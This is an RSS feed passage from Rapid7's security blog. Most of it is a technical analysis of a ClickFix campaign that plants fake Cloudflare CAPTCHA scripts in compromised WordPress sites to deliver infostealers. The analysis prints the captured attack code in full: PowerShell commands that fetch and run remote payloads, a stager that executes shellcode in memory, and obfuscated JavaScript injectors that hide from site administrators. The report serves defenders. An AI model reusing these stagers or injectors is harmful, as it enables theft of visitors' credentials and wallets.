ltr;"><span style='font-size: undefined;'>Across criminal and state-aligned activity, attackers are converging on identity systems, edge infrastructure, collaboration platforms, and cloud control planes where trust, scale, and business continuity intersect.</span></p><h2 style="direction: ltr;">What this means for security leaders</h2><p style="direction: ltr;"><span style='font-size: undefined;'>There is a sobering reality in this year’s data: the underlying weaknesses remain familiar. Weak credentials. Social engineering. Exposed services. Unpatched edge infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What has changed is the speed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Security programs can no longer rely on moving slightly faster than attackers. The model must shift toward reducing exposure before it is operationalized.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That means:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Continuous exposure visibility with contextual prioritization</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Strong MFA enforcement and hardened identity controls</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Protected and monitored edge infrastructure</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Governance around AI systems and integrations</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI-enabled security workflows capable of matching attacker velocity</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The organizations that maintain clear, continuous insight into their exposure - and reduce it before it is monetized - will be best positioned to manage risk in this accelerated cycle.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The question is no longer whether exposure exists.</span><br/><span style='font-size: undefined;'> It is whether you can reduce it before attackers capitalize on it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Read the full </span><a href="https://www.rapid7.com/research/report/global-threat-landscape-report-2026/" target="_blank"><span style='font-size: undefined;'>Rapid7 2026 Threat Landscape Report</span></a><span style='font-size: undefined;'> to explore the data and strategic implications in detail.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-accelerating-attack-cycle-2026-global-threat-landscape-report</link>
      <guid isPermaLink="false">blt8486bbe6b6d7f8c7</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Threat Intel]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Wed, 18 Mar 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb5f320e7f08dcc1c/69b94e70daccab6b3b0b91ca/card-threat-landscape-report-2026.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[When Trusted Websites Turn Malicious: WordPress Compromises Advance Global Stealer Operation]]></title>
      <description><![CDATA[<h2><span style='font-size: undefined;'>Overview</span></h2><p><span style='font-size: undefined;'>Rapid7 Labs has identified and analyzed an ongoing, widespread compromise of legitimate, potentially highly trusted WordPress websites, misused by an unidentified threat actor to inject a ClickFix implant impersonating a Cloudflare human verification challenge (CAPTCHA). The lure is designed to infect visitors with a multi-stage malware chain that ultimately steals and exfiltrates credentials and digital wallets from Windows systems. The stolen credentials can subsequently be used for financial theft or to conduct further, more targeted attacks against organizations.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The campaign we have analyzed has been active in this exact form since December 2025, although some of the infrastructure (e.g., domain names) date back to July/August 2025. At time of publication, we have identified more than 250 distinct infected websites spanning at least 12 countries: Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the UK, and the US.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The infected websites include regional news outlets, local business websites, and in one case even a United States Senate candidate’s official webpage (we have notified US authorities about this finding, so that they can confirm the compromise has been remediated). This legitimacy, together with the convincing appearance of the fake Cloudflare CAPTCHA lure, makes this threat dangerous for organizations and individuals alike. It also highlights the importance of staying vigilant online at all times, not only when browsing untrustworthy sites. While the threat actor doesn’t employ particular stealth at the present time, the malware chain is executed almost entirely in memory and in the context of inconspicuous Windows processes, making traditional file-based detection ineffective.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In this blog, we provide an in-depth technical analysis of the complete infection chain, from the first compromised website load, through obfuscated JavaScript, several PowerShell stagers and in-memory shellcode loaders, to several final infostealer payloads observed within the last month: An evolved variant of Vidar stealer, an unnamed .NET stealer we are calling Impure Stealer, and a new C++ stealer, which we believe to be specific to this campaign, and which has been dubbed VodkaStealer. Furthermore, we publish an extensive list of IoCs and YARA detection rules, as well as various resources for unpacking the loader shellcode and algorithms to decrypt stealer configurations, so that defenders can stay ahead of this threat.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Besides the IoCs and detection rules published here, customers with access to Rapid7’s Intelligence Hub will continue to receive the newest intelligence regarding this campaign, as well as individual infostealer families, including (but not limited to) Vidar and Impure Stealer.</span>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta258eca111bf7254/69af1c57cd033a00088912d4/01-attack-chain.jpg" alt="01-attack-chain.jpg" caption="Figure 1: Overview of the attack chain" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="01-attack-chain.jpg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta258eca111bf7254/69af1c57cd033a00088912d4/01-attack-chain.jpg" data-sys-asset-uid="blta258eca111bf7254" data-sys-asset-filename="01-attack-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: Overview of the attack chain" data-sys-asset-alt="01-attack-chain.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Overview of the attack chain</figcaption></div></figure><h2>First sight: Tracing the infection chain</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Our investigation started following an incident handled by Rapid7’s MDR team on January 23rd, 2026. The initial alert indicated the following command being executed on the user’s machine.</span>⠀</p><pre language="powershell">powershell -c iex(irm 91.92.240[.]219 -UseBasicParsing)</pre><p style="direction: ltr;"><span style='font-size: undefined;'>Consequently, another similar command was executed by a child process:</span></p><pre language="powershell">"powershell.exe" -Command "try {
    $finalPayload = iwr -Uri "178.16.53[.]70" -UseBasicParsing
    Invoke-Expression $finalPayload.Content
} catch {
}"</pre><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 acquired the user browser history and observed that the user previously navigated to the url </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>hxxps[://]phatapunjab[.]pk/new-pta-tax-for-used-iphone-15-series/</span></span><span style='font-size: undefined;'> after doing a google search for a related query. At the time, Rapid7 analysts noted that the domain </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>phatapunjab[.]pk</span></span><span style='font-size: undefined;'> was created only a month ago, and so this incident seemed like a classic case of a malicious website poisoning SEO to attract visitors and infect them with malware using ClickFix techniques.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We retrieved and analyzed the next-stage PowerShell script from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>178.16.53[.]70</span></span><span style='font-size: undefined;'>. Its purpose was to download a shellcode blob (named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cptch.bin</span></span><span style='font-size: undefined;'>) from yet another remote server, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>94.154.35[.]115</span></span><span style='font-size: undefined;'>, and execute it utilizing the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>VirtualAlloc</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>CreateThread</span></span><span style='font-size: undefined;'> Windows APIs — a standard process injection technique designed to execute malware in memory without touching the disk. The shellcode unpacked a loader that would download yet another shellcode blob from the same server (this time named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cptchbuild.bin</span></span><span style='font-size: undefined;'>) and execute it injected into a native </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>svchost.exe</span></span><span style='font-size: undefined;'> process. The final payload embedded in the second shellcode blob turned out to be a Vidar stealer sample, which we'll discuss later in this blog.</span></p><pre language="powershell">$u = "hxxp[://]94.154.35[.]115/user_profiles_photo/cptch.bin"

try {
    Write-Host "Loading..." 

    $d = Invoke-WebRequest -Uri $u -UseBasicParsing -ErrorAction Stop
    $b = $d.Content
    $s = $b.Length

    $c = @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@

    Add-Type -TypeDefinition $c

    $m1 = 0x1000
    $m2 = 0x2000
    $p = 0x40

    $addr = [W]::VirtualAlloc([IntPtr]::Zero, $s, $m1 -bor $m2, $p)

    if ($addr -eq [IntPtr]::Zero) {
        throw "Alloc failed"
    }

    [System.Runtime.InteropServices.Marshal]::Copy($b, 0, $addr, $s)

    $tid = 0
    $th = [W]::CreateThread([IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$tid)

    if ($th -eq [IntPtr]::Zero) {
        throw "Thread failed"
    }

    [W]::WaitForSingleObject($th, 30000) | Out-Null
    Write-Host "done."

} catch {
    Write-Error $_.Exception.Message
    exit 1
}</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 2: PowerShell stager executing remote shellcode in memory</em></span></p><p><span style='font-size: undefined;'>On February 3rd, an almost identical case was handled by Rapid7 in another customer’s environment. Just like in the previous case, a PowerShell command was executed and shellcode was downloaded from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>hxxp[://]94.154.35[.]115/user_profiles_photo/cptch.bin</span></span><span style='font-size: undefined;'>; however, this time, the final payload was different. Instead of Vidar, a .NET stealer was encrypted in the second shellcode blob.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This time, the MDR team identified the ClickFix infection source as website </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>missionloans[.]com</span></span><span style='font-size: undefined;'>, which is a significantly more established domain name and seems to belong to a legitimate US company.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf46ddd1f8daf13bd/69af1c560e4ec100086cd2c3/02-missionloans-captcha.png" alt="02-missionloans-captcha.png" caption="Figure 3: Fake Cloudflare CAPTCHA shown on missionloans[.]com" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="02-missionloans-captcha.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf46ddd1f8daf13bd/69af1c560e4ec100086cd2c3/02-missionloans-captcha.png" data-sys-asset-uid="bltf46ddd1f8daf13bd" data-sys-asset-filename="02-missionloans-captcha.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Fake Cloudflare CAPTCHA shown on missionloans[.]com" data-sys-asset-alt="02-missionloans-captcha.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Fake Cloudflare CAPTCHA shown on missionloans[.]com</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Around the same time, malware analyst @ShadowOpCode on X (fka Twitter) </span><a href="https://x.com/ShadowOpCode/status/2016190716284690634" target="_blank"><span style='font-size: undefined;'>reported</span></a><span style='font-size: undefined;'> a similar case, where a Swiss website </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>wepro[.]ch</span></span><span style='font-size: undefined;'> was compromised and followed the exact same Vidar chain we’ve described above, and on February 17th, X user @James_inthe_box </span><a href="https://x.com/James_inthe_box/status/2023887918151197122" target="_blank"><span style='font-size: undefined;'>shared</span></a><span style='font-size: undefined;'> intelligence on a similar infection in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>www[.]mrfpaint[.]com</span></span><span style='font-size: undefined;'>.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda7843a630d56658/69af1c568da8010008537c44/03-mrfpaint-captcha.jpeg" alt="03-mrfpaint-captcha.jpeg" caption="Figure 4: Fake Cloudflare CAPTCHA shown on www[.]mrfpaint[.]com in a sandbox environment" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="03-mrfpaint-captcha.jpeg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda7843a630d56658/69af1c568da8010008537c44/03-mrfpaint-captcha.jpeg" data-sys-asset-uid="bltda7843a630d56658" data-sys-asset-filename="03-mrfpaint-captcha.jpeg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 4: Fake Cloudflare CAPTCHA shown on www[.]mrfpaint[.]com in a sandbox environment" data-sys-asset-alt="03-mrfpaint-captcha.jpeg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: Fake Cloudflare CAPTCHA shown on www[.]mrfpaint[.]com in a sandbox environment</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Noticing the similar pattern in all of these cases, which suggested the ClickFix infections originated from compromised legitimate websites, we wanted to research the mechanism behind the compromise and hunt for more compromised sites and the malicious scripts they load.</span></p><h2 style="direction: ltr;">Technical analysis: Dissecting the infection mechanism</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Because none of the previously reported websites presented the ClickFix payload anymore at the time of our analysis, we opted to hunt for compromised sites by pivoting from domains hosting the ClickFix implant, which all resolved to the same IP address (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>94.154.35[.]152</span></span><span style='font-size: undefined;'>). We queried related URLs and noticed that many of them included a query parameter hinting at a possible referrer, or a compromised website loading the malicious content.</span></p><table><colgroup data-width='500'><col style="width:17.654028436018958%"/><col style="width:82.34597156398104%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Date</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>URL</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/25</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]gieable[.]shop</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]namsioc[.]shop</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/21</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]goarnsds[.]shop</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/19</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]surveygifts[.]org</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/18</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]gorscts[.]shop</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]greecpt[.]shop/?ref=vifaexpo.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/17</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captoolsz[.]com/?ref=www.taylorautoservices.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]greecpt[.]shop</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captoolsz[.]com/captcha.html</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/16</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captioz[.]shop/?ref=shmuelcohen.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]namzcp[.]org/captcha.html</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/15</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=agmagency.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.violaobrasileiro.com.br</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=fnbdubai.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/14</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captiort[.]shop/</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/06</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]beta-charts[.]org/</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/03</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captioto[.]com/?ref=dakarailarriett.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]capztoolz[.]com/?ref=www.de-eng.co.il</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/02</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=latourfides.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]capztoolz[.]com/?ref=www.bvd.co.il</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captioto[.]com/?ref=addvera.eu</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/02/01</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]surveygifts[.]org/</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/29</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captolls[.]com/captcha.html</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/28</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.renardetcaramel.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/27</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captiorweb[.]com/</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/22</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]captiorweb[.]com/captcha.html</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/15</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.tamireland.ie</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/12</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.malam-payroll.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/10</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.michiganautolaw.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/09</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/captcha.htm</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=engagenreap.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.danneventhire.com.au</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=proactivwellnesscenters.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=topsoftwarecompanies.co</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=bigenpakistan.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=naturaltimberstone.com.au/</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=alchemistpeptides.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=nzimmigration.info/</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=3plusa.net</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=www.unigib.edu.gi</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=janadventures.com</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=blog.webrigo.com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2026/01/01</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>hxxps[://]cptoptious[.]com/?ref=3plusa.net</span></p></td></tr></tbody></table><p><em>Table 1: </em><span style='font-size: undefined;'><em>URLs seen resolving to </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>94.154.35[.]152</em></span></span></p><p><span style='font-size: undefined;'>At that point, none of the referring websites seemed to be infected (or actively being used by the attacker) anymore, either. However, using public data from </span><a href="http://urlscan.io" target="_blank"><span style='font-size: undefined;'>urlscan.io</span></a><span style='font-size: undefined;'> and the search query: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>date:&gt;now-30d AND domain:(gorscts[.]shop OR greecpt[.]shop OR captiort[.]shop OR captioz[.]shop OR namzcp[.]org OR beta-charts[.]org OR captoolsz[.]com OR capztoolz[.]com OR surveygifts[.]org OR captolls[.]com OR captiorweb[.]com OR captioto[.]com OR cptoptious[.]com)</span></span><span style='font-size: undefined;'>, we were able to find past scans of compromised websites contacting one of the known ClickFix domains and inspect the HTTP responses.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We determined that compromised websites included many potentially high-trust websites, as noted above. One striking thing all of these websites had in common was the use of the WordPress content management system (CMS), and in particular, nearly all of the websites publicly exposed an admin login panel. We checked a selection of these websites for known-vulnerable plugins or versions of WordPress itself, but no obvious common pattern was identified.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>One such scan we found was of an Australian online pharmacy website (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>hxxps[://]medsnsw[.]com/product/buy-xanax-alprazolam-australia/</span></span><span style='font-size: undefined;'>, </span><a href="https://urlscan.io/result/019c342b-f83e-757f-ab7a-5ed6c7ff5ad7/#transactions" target="_blank"><span style='font-size: undefined;'>urlscan.io scan</span></a><span style='font-size: undefined;'>). The recorded HTML response included the following script:</span></p><pre language="javascript">if(!window.__performance_optimizer_v6){
    window.__performance_optimizer_v6=true;
	if(!/wordpress_logged_in_/.test(document.cookie)){
		var perfEndpoints=["aHR0cHM6Ly9nb3ZlYW5ycy5vcmcvanNyZXBvP3JuZD0=","aHR0cHM6Ly9nZXRhbGliLm9yZy9qc3JlcG8\/cm5kPQ==","aHR0cHM6Ly9nb3ZlYXJhbGkub3JnL2pzcmVwbz9ybmQ9","aHR0cHM6Ly9saWdvdmVyYS5zaG9wL2pzcmVwbz9ybmQ9","aHR0cHM6Ly9hbGlhbnplZy5zaG9wL2pzcmVwbz9ybmQ9","aHR0cHM6Ly96dGRhbGl3ZWIuc2hvcC9qc3JlcG8\/cm5kPQ=="];
		function loadPerformanceScript(endpointIndex){
			if(endpointIndex&gt;=perfEndpoints.length)return;
			try{
				var endpointUrl=atob(perfEndpoints[endpointIndex])+Math.random();
				var performanceXHR=new XMLHttpRequest();
                performanceXHR.open("GET",endpointUrl,false);
                performanceXHR.send();
				if(performanceXHR.status==200){
					var optimizerScript=document.createElement("script");
                    optimizerScript.text=performanceXHR.responseText;
                    document.head.appendChild(optimizerScript)
                }else{
                    loadPerformanceScript(endpointIndex+1)
                }
            }catch(e){
                loadPerformanceScript(endpointIndex+1)
            }
        }
        loadPerformanceScript(0)
    }
}</pre><p><span style='font-size: undefined;'><em>Figure 5: A malicious loader script included in the </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>medsnsw[.]com</em></span></span><span style='font-size: undefined;'><em> website HTML</em></span></p><p><span style='font-size: undefined;'>Masquerading as a performance optimization script, the actual purpose of the code above was to find and inject the first live script from a hardcoded set of remote locations, encoded in Base64. This would only be done when the string </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>wordpress_logged_in_</span></span><span style='font-size: undefined;'> was not found in the website’s (non-HTTP-only) cookies, hinting at an intent to hide this snippet from site administrators and editors.</span></p><pre language="javascript">&gt; perfEndpoints.map(atob)
[
	'hxxps[://]goveanrs[.]org/jsrepo?rnd=',
	'hxxps[://]getalib[.]org/jsrepo?rnd=',
	'hxxps[://]govearali[.]org/jsrepo?rnd=',
	'hxxps[://]ligovera[.]shop/jsrepo?rnd=',
	'hxxps[://]alianzeg[.]shop/jsrepo?rnd=',
	'hxxps[://]ztdaliweb[.]shop/jsrepo?rnd='
]</pre><p><span style='font-size: undefined;'><em>Figure 6: Decoded list of JavaScript source locations</em></span><em><br/></em>⠀</p><p><span style='font-size: undefined;'>Consistent with this, the next request recorded in the scan fetched a script from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>goveanrs[.]org</span></span><span style='font-size: undefined;'> (</span><a href="https://urlscan.io/responses/8c83b46a7ca674bf717765b734a919c78556c193d1942de94be409c4ed663d1a/" target="_blank"><span style='font-size: undefined;'>urlscan response</span></a><span style='font-size: undefined;'>), which we analysed to understand how the ClickFix content was injected into the website and how we could potentially identify more compromised websites.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Continuing the hunt, we’ve also identified an alternative way of loading the ClickFix JavaScript: In these cases, the script was hosted directly on the compromised WordPress instance and was retrieved by fetching </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/wp-admin/admin-ajax.php?action=ajjs_run</span></span><span style='font-size: undefined;'>.</span></p><pre language="javascript">(function(){
	if (window.__AJJS_LOADED__) return;
    window.__AJJS_LOADED__ = false;

	function runAJJS() {
		if (window.__AJJS_LOADED__) return;
        window.__AJJS_LOADED__ = true;

		const cookies = document.cookie;
		const userAgent = navigator.userAgent;
		const referrer = document.referrer;
		const currentUrl = window.location.href;

		if (/wordpress_logged_in_|wp-settings-|wp-saving-|wp-postpass_/.test(cookies)) return;

		if (/iframeShown=true/.test(cookies)) return;

		if (/bot|crawl|slurp|spider|baidu|ahrefs|mj12bot|semrush|facebookexternalhit|facebot|ia_archiver|yandex|phantomjs|curl|wget|python|java/i.test(userAgent)) return;

		if (referrer.indexOf('/wp-json') !== -1 ||
            referrer.indexOf('/wp-admin') !== -1 ||
            referrer.indexOf('wp-sitemap') !== -1 ||
            referrer.indexOf('robots') !== -1 ||
            referrer.indexOf('.xml') !== -1) return;

		if (/wp-login\.php|wp-cron\.php|xmlrpc\.php|wp-admin|wp-includes|wp-content|\?feed=|\/feed|wp-json|\?wc-ajax|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.jpe?g|\.tiff|\.mp[34g]|\.wmv|\.zip|\.rar|\.exe|\.pdf|\.txt|sitemap.*\.xml|robots\.txt/i.test(currentUrl)) return;

        fetch('hxxps[://]dakarailarriett[.]com/wp-admin/admin-ajax.php?action=ajjs_run')
        .then(resp =&gt; resp.text())
        .then(jsCode =&gt; {
			try { eval(jsCode); } catch(e) { console.error('Cache optimize error', e); }
        });
    }

	if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', runAJJS);
    } else {
        runAJJS();
    }
})();</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 7: Alternative way of loading ClickFix script observed on </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>dakarailarriett[.]com</em></span></span></p><p><span style='font-size: undefined;'>This variant is interesting in that it attempts to more robustly evade administrative scrutiny by explicitly checking the document referrer, the window location (URL), as well as multiple WordPress-related cookies, checking signs not only of administrative access, but also automatic crawlers or other artifacts indicating the website is being loaded by an undesirable victim. In these cases, no AJAX request to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>admin-ajax.php</span></span><span style='font-size: undefined;'> is issued.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Lastly, we have seen several cases where the ClickFix injector script was directly pasted into the website source.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>ClickFix loader JavaScript analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The obfuscated JavaScript returned by the AJAX endpoint or the dedicated host server aims to make analysis difficult by outlining and encrypting strings and constants, utilizing niche JavaScript mechanics, synthesizing opaque predicates and dead code, and employing clever tricks to detect and thwart analysis.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After an initial auto-deobfuscation pass using the tool available at </span><a href="https://obf-io.deobfuscate.io/" target="_blank"><span style='font-size: undefined;'>https://obf-io.deobfuscate.io/</span></a><span style='font-size: undefined;'>, the high-level control flow of the script can be identified rather easily. It’s apparent that the file was transformed using a commonly used obfuscator, which creates a global encrypted string array that is first rotated and shuffled and then accessed from across the script to access and decode strings just in time. During the initial transformation, a sneaky anti-analysis check is performed that enters an infinite loop in case the script is not running in its original form. In our sample (see the 